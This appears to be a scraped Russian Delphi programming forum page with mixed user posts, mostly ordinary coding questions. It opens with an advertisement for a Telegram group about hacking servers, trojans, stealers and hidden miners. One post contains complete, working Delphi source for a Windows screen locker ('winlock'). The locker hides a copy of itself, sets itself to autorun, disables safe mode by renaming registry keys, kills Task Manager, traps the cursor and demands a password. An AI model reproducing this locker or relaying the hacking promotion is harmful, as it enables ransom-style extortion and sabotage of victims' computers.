Откройте свой Мир!

Сайт: http://dedicatet.com
ПРИВАТНАЯ группа -ЧАТ в Телеграм! https://t.me/joinchat/Dn6-G... Все о взломах в интернете, МАЙНИНГ НА ДЕДИКАХ, взлом сайтов, серверов ПК, трояны, стилеры и т. д. Бесплатные раздачи дедиков, приватная инфо.,схемы заработков в сети. Магазин ДЕДИКОВ, скрытый майнер и др. софт https://t.me/joinchat/AAAAA...

Программа Формодел позволяет быстро создавать курсовые,дипломы для работы с базами данных с исходниками на Delphi. 




Официальный сайт

Лайкаем, предложения и замечания оставляйте в комментариях.

Как программист и разработчик исповедующий философию "Есть у самого — поделись с другими" Я, создал в разделе Видео, альбомы C#, HTML&CSS, ASP.NET (их больше, но признаюсь лень писать), и залил другие видеоматериалы о программировании и рабочей среде. Видеокурсы и Видеолекции от CyberBionic (EDU.CBSYSTEMATICS.COM). Как прошедший их курсы - мне очень понравилось! Тем более здесь-же (то есть в Центре обучения CBSYSTEMATICS:) можно и сертифицироваться.
Надеюсь, выложенное видео, будет полезным сообществу. 

привет всем! пришлите пожалуйста инструкцию и программный код и все что поможет создать сапера! только обезательно чтобы было сделано все через Delphi 3!

привет всем! пришлите пожалуйста инструкцию и программный код и все что поможет создать сапера! только обезательно чтобы было сделано все через Delphi 3!

привет...у кого есть идеи отпишите в приват...гибкий очень многофукнциональный язык программирования (сайты бд игры утилиты архиваторы, настройуа и администрирование линукс...) и конечно достаточно кросплатформенный ПОЖАЛУЙСТА ОТПИШИТЕ. неужели кроме ява и питон ничего серьезного ...чтобы писать и на маки и на мелкомягких и на андроид и на симбу и на ява ме и на линукс и прочие популярные кпк?? спасибо

Помогите пожалуйста составить 3-4 программы на языке Delphi, с использованием оператора "set".

Доброго времени суток обитатели сообщества! Я недавно начал увлекаться программировать на Delphi. Хочу научиться писать баннеры (не в каких корыстных целях использовать не буду) читал много статей где написанно как написать winlock на delphi. Я хочу чтоб банер блокировал explorer.exe но незнаю как программно это сделать. 
(Я еще в Delphi новичок) Буду благодарен если вы, поможете правильно составить программный код и написать в него переменную которая блокирует explorer. 

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls, xpman, registry, Buttons, jpeg;

type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Timer1: TTimer;
    BitBtn1: TBitBtn;
    Image1: TImage;
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormKeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    procedure BitBtn1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
     procedure CreateWindowsRegions(const X, Y: Integer; const RegionHandle: THandle);
  end;

var
  Form1: TForm1;
  s:string;
  reg: Tregistry;
   m_OldMHook: HHook = 0;
  k_OldKBHook: HHook = 0;
implementation

{$R *.dfm}


function KbHook(code: Integer; wparam: Word; lparam: LongInt): LongInt; stdcall;
begin
 if code < 0
 then Result := CallNextHookEx(k_oldKbHook, code, wparam, lparam)
 else Result := 1;
end;

procedure DelKey;
begin
 Reg:=TRegistry.Create;
 Reg.RootKey:=HKEY_LOCAL_MACHINE;
 Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run',true);
 Reg.DeleteValue('1');
 Reg.Free;
end;

 procedure antio;
var
 tit:HWND;
begin
 // закрываем окна
 tit:=FindWindow(nil, 'Диспетчер задач Windows');
 if (tit>0) then
 PostMessage(tit, WM_QUIT, 1, 0);
 tit:=FindWindow(nil, 'Запуск программы');
 if (tit>0) then
 PostMessage(tit, WM_QUIT, 1, 0);
 tit:=FindWindow(nil, 'Мой компьютер');
 if (tit>0) then
 PostMessage(tit, WM_QUIT, 1, 0);
end;


procedure TForm1.Timer1Timer(Sender: TObject);
var
curs: TRect;
begin
antio;
// ограничиваем движение курсора
SetWindowPos(Handle,HWND_TOPMOST,Left,Top,Width,Height,SWP_NOACTIVATE Or SWP_NOMOVE Or SWP_NOSIZE);
 curs := Rect(Form1.Left+0, Form1.Top+0, Form1.Left + Form1.Width-0, Form1.Top + Form1.Height-0);
 ClipCursor(@curs);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
s:='123';
timer1.Interval:=1;

// Копируем себя
 CopyFile(PChar(ParamStr(0)), PChar('C:\'+ 'TestWinLock.exe'),True);
 SetFileAttributes('C:\TestWinLock.exe', faHidden);

// не возможно загрузить в безопасном режиме
// меняем имя двух  ключей в реестре,
//отвечающих за безопасный режим, что приводит к его отключению(а точнее будет вылетать "синий экран смерти" при попытке зайти в него)
// в реестре   minimal  меняем на M  и  NetWork на N

KeyPreview:=true;
reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.MoveKey('System\CurrentControlSet\Control\SafeBoot\minimal','System\CurrentControlSet\Control\SafeBoot\M',true);
reg.MoveKey('System\CurrentControlSet\Control\SafeBoot\NetWork','System\CurrentControlSet\Control\SafeBoot\N',true);
reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run',True);
reg.WriteString('TestWinLock', 'C:\TestWinLock.exe');
reg.CloseKey;
reg.free;

end;
procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
// запрещаем   Alt+ F4
if (ssAlt in Shift) and (Key=vk_F4) then key:=0;
end;

procedure TForm1.BitBtn1Click(Sender: TObject);
begin
// проверка пароля
if Edit1.Text=s+'45' then
begin
//  Если ключ введён правильно то
// Удаляем ключ автозагрузки
DelKey;
  // Исправляем реестр

reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.MoveKey('System\CurrentControlSet\Control\SafeBoot\M','System\CurrentControlSet\Control\SafeBoot\minimal',true);
reg.MoveKey('System\CurrentControlSet\Control\SafeBoot\N','System\CurrentControlSet\Control\SafeBoot\NetWork',true);
reg.CloseKey;
reg.free;

Close;
end
else
Edit1.Text:='Неверный код!';
end;

procedure TForm1.CreateWindowsRegions(const X, Y: Integer;
  const RegionHandle: THandle);
var
 FirstRegion, CombineRegion : THandle;
begin
 FirstRegion := CreateRoundRectRGN(0 + X, 0 + Y, 650 + X, 410 + Y, 55, 55);
 CombineRegion := FirstRegion;
 SetWindowRGN(RegionHandle, CombineRegion, true);
end;

end.

"Программирование в среде Delphi" умирает? 
    Или все заняты ох... как???

Бывают моменты когда ломается мышь. И либо не охото, либо нет времени купить мышь.

Так что от хорошего настроения и доброты душевной скидываю исходник
программы по управлению курсором и щелчками мыши на языке Delphi. Может
кому то нужно как мне иногда.

unit Unit1;



interface



uses

  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

  Dialogs, StdCtrls;



type

  TForm1 = class(TForm)

    Button2: TButton;

    Button3: TButton;

    Button4: TButton;

    ComboBox1: TComboBox;

    ComboBox2: TComboBox;

    Edit1: TEdit;

    Edit2: TEdit;

    Button1: TButton;

    Label1: TLabel;

    Label2: TLabel;

    Button5: TButton;

    procedure Button2Click(Sender: TObject);

    procedure Button3Click(Sender: TObject);

    procedure Button4Click(Sender: TObject);

    procedure FormCreate(Sender: TObject);

    procedure ComboBox1Change(Sender: TObject);

    procedure ComboBox2Change(Sender: TObject);

    procedure Button1Click(Sender: TObject);

    procedure Button5Click(Sender: TObject);

  private

    { Private declarations }

  public

    { Public declarations }

  end;



var

  Form1: TForm1;

  x,y:integer;                            // Объявляем глобальные переменные



implementation



{$R *.dfm}



procedure TForm1.Button1Click(Sender: TObject);

begin

form1.Left:=strtoint(edit1.Text);   // Кнопка при нажатии переносит форму по

form1.Top:=strtoint(edit2.Text);    // указанным координатам в комбомассиве

end;



procedure TForm1.Button2Click(Sender: TObject);

begin

x:=strtoint(combobox1.Text);   // переводим в числовое значение строку

y:=strtoint(combobox2.Text);   // переводим в числовое значение строку

setcursorpos(x,y);             // Переводим курсор в указанное место

mouse_event(mouseeventf_leftdown,0,0,0,0);   // Функция зажатия левой клавиши мыши

mouse_event(mouseeventf_leftup,0,0,0,0);     // Функция разжатия левой клавиши мыши

end;



procedure TForm1.Button3Click(Sender: TObject);

begin

x:=strtoint(combobox1.Text);   // переводим в числовое значение строку

y:=strtoint(combobox2.Text);   // переводим в числовое значение строку

setcursorpos(x,y);             // Переводим курсор в указанное место

mouse_event(mouseeventf_leftdown,0,0,0,0); // Повторяем предыдущую функцию нажатия и разжатия мыши

mouse_event(mouseeventf_leftup,0,0,0,0);   // чтобы мы могли выделить объект

mouse_event(mouseeventf_rightdown,0,0,0,0); // Далее зажимаем правую клавишу мыши

mouse_event(mouseeventf_rightup,0,0,0,0);   // Далее разжимаем правую клавишу мыши

end;



procedure TForm1.Button4Click(Sender: TObject);

begin

x:=strtoint(combobox1.Text);   // переводим в числовое значение строку

y:=strtoint(combobox2.Text);   // переводим в числовое значение строку

setcursorpos(x,y);             // Переводим курсор в указанное место

mouse_event(mouseeventf_leftdown,0,0,0,0); // Если мы повторим дважды функцию нажатия

mouse_event(mouseeventf_leftup,0,0,0,0);   // и разжатия клавиши мыши, то у нас получится

mouse_event(mouseeventf_leftdown,0,0,0,0); // Двойной щелчек мыши

mouse_event(mouseeventf_leftup,0,0,0,0);

end;



procedure TForm1.Button5Click(Sender: TObject);

begin

form1.Close;

end;



procedure TForm1.ComboBox1Change(Sender: TObject);

begin

x:=strtoint(combobox1.Text);   // При изменении комбобокса меняется положение курсора по х

y:=strtoint(combobox2.Text);

setcursorpos(x,y);             // Переводим курсор в указанное место

end;



procedure TForm1.ComboBox2Change(Sender: TObject);

begin

x:=strtoint(combobox1.Text);

y:=strtoint(combobox2.Text);   // При изменении комбобокса меняется положение курсора по y

setcursorpos(x,y);             // Переводим курсор в указанное место

end;



procedure TForm1.FormCreate(Sender: TObject);

var i,j:integer;

begin

for i := 1 to 3000 do              // создаем массив цифр

combobox1.Items.Add(inttostr(i));  // Добовляем цифры в комбобокс

for j := 1 to 3000 do              // создаем массив цифр

combobox2.Items.Add(inttostr(j));  // Добовляем цифры в комбобокс

form1.Left:=0;

form1.Top:=0;

form1.Color:=rgb(100,100,255);

end;



end.

Обращаюсь с вопросом? Помогите понять как избавиться от ошибки regasm.exe. Она у меня возникает во время установки почти любой версии Дельфи, кроме облегченных начиная с 2005 года, а так же при установки nero 6,7.
Представляю такую странную картину.
Ставлю net framework на чистую XP Embarcadero. Чаще всего устанавливается без ошибок и работает. Но бывает все же не устанавливается, а выкидывает ошибку regasm.exe. Сегодня например 3 раза ставил windows XP, и 1 раз windows 7. Устанавливал только netframework и каждый раз кода я пробовал устанавливать Embarcadero или 2005 возникала ошибка regasm.exe. После чего она доустановившись не работает.
Сейчас сижу на дельфи 7 (2002), где не нужны netframeworks.
Вопрос состоит в следующим. Как мне избавиться от этой ошибки. 5 месяцев парюсь.
Что нужно удалить или какую запись в реестре надо изменить, создать, удалить?

Часто встречаюсь с высказыванием типа: "на delphi профессионалы (в разных областях) не пишут!"
Давайте создадим здесь, в этом обсуждении, список более-менее крупных проектов (утилит, ИС, АИС, КИС и т.д.)
написанных на прекрасном языке - delphi...

{в этот список добавляйте либо ссылки на сайты проектов, либо названия и год выпуска (по возможности)}
>можно и названия вирусов написанных на delphi вписывать, что-бы заткнуть ьтсап тем, кто говорит, что это невозможно<

}{акер упоминает о backdoor написанном на delphi.


вот не большой список


здесь есть ещё


самый большой список, который я только смог найти

Здравствуйте. Есть вопрос, может кто сталкивался. Есть поток TThread в программе, работающий с бд. С помощью Synchronize на главную форму из него передается информация о ходе выполнения. В этом же модуле присутствует еще один класс для работы с CSV файлами. При его работе тоже надо передать информацию на главную форму. Но для этого классаметод Synchronize не работает, так как это обычный класс, а не TThread. Как корректно передать данные из него на главную форму? Можно ли вызвать метод потока? Спасибо всем кто откликнется.

......
private
But1: TButton;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);

begin
but1 := TButton.Create(self);
but1.parent := self;
but1.caption := 'OK';
end;
можно ли обрабатывать события but1, например нажатие, и как подскажите

Привет, всем!Помогите пожалуйста решить задачку и если можно исходник.
задача: подсчитать значение ряда
S=x-(x^3)/3+...+((-1)^n)*(x^(2*m+1))/(2*n+1) и сравнить (|Y-S|) со значением исходной функции Y=arctg(x) на интервале 0.1<=x<=0.5 при n=40. Очень срочно надо. Буду очень благодарна всем кто поможет.

Всем добрый день! Уважаемые программисты помогите разобраться с задачей. Нужно
сделать обыкновенную БД в Delphi 7. Надо, чтобы с БД в отдельном окне отображалась
картинка, которая в БД. При выборе второй строке, вторая. Также надо сделать процес
заливки картинки в БД.

Вот этот код выводит текст из edit1 другой программы
WinExec('S.exe',SW_SHOW);
Begin  Sleep(3000);
h:= findWindowex(FindWindow(nil, 'PROFF'), 0, 'Edit' ,nil);
Sendmessage(h, WM_GETTEXT, 20, Integer(@s));
Edit1.Text:=s;

А как зделать так чтобы получить текст из едит 2 ???

Всем доброго дня не подскажете как можно реализовать баны в дельфи на сокетахдля чата.??